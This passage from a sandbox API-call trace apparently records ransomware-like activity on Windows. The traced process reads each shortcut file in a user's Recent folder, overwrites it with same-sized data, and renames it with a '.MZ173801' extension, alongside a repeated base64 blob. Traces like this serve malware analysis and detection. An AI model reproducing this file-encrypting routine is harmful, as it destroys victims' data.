lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.782] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.782] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6sxGhE_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6sxghe_.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4dba20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf774600, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf774600, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x973)) returned 1 [0120.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.785] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6sxGhE_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6sxghe_.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.785] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.785] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.785] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x973 [0120.785] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.786] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x973, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x973, lpOverlapped=0x0) returned 1 [0120.786] CloseHandle (hObject=0x288) returned 1 [0120.786] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6sxGhE_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6sxghe_.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.787] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x973, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x973, lpOverlapped=0x0) returned 1 [0120.788] CloseHandle (hObject=0x288) returned 1 [0120.793] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6sxGhE_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6sxghe_.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6sxGhE_.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6sxghe_.lnk.mz173801")) returned 1 [0120.794] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdefddfe0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdefddfe0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdefddfe0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xeab, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="8exljOS5Iy8En.mkv.lnk", cAlternateFileName="8EXLJO~1.LNK")) returned 1 [0120.794] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.794] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.794] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8exljOS5Iy8En.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\8exljos5iy8en.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdefddfe0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdefddfe0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdefddfe0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xeab)) returned 1 [0120.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.797] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8exljOS5Iy8En.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\8exljos5iy8en.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.797] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.797] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.798] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xeab [0120.798] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.798] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xeab, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xeab, lpOverlapped=0x0) returned 1 [0120.799] CloseHandle (hObject=0x288) returned 1 [0120.799] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8exljOS5Iy8En.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\8exljos5iy8en.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.800] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xeab, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xeab, lpOverlapped=0x0) returned 1 [0120.800] CloseHandle (hObject=0x288) returned 1 [0120.821] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8exljOS5Iy8En.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\8exljos5iy8en.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8exljOS5Iy8En.mkv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\8exljos5iy8en.mkv.lnk.mz173801")) returned 1 [0120.822] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf669c60, ftCreationTime.dwHighDateTime=0x1d5e82a, 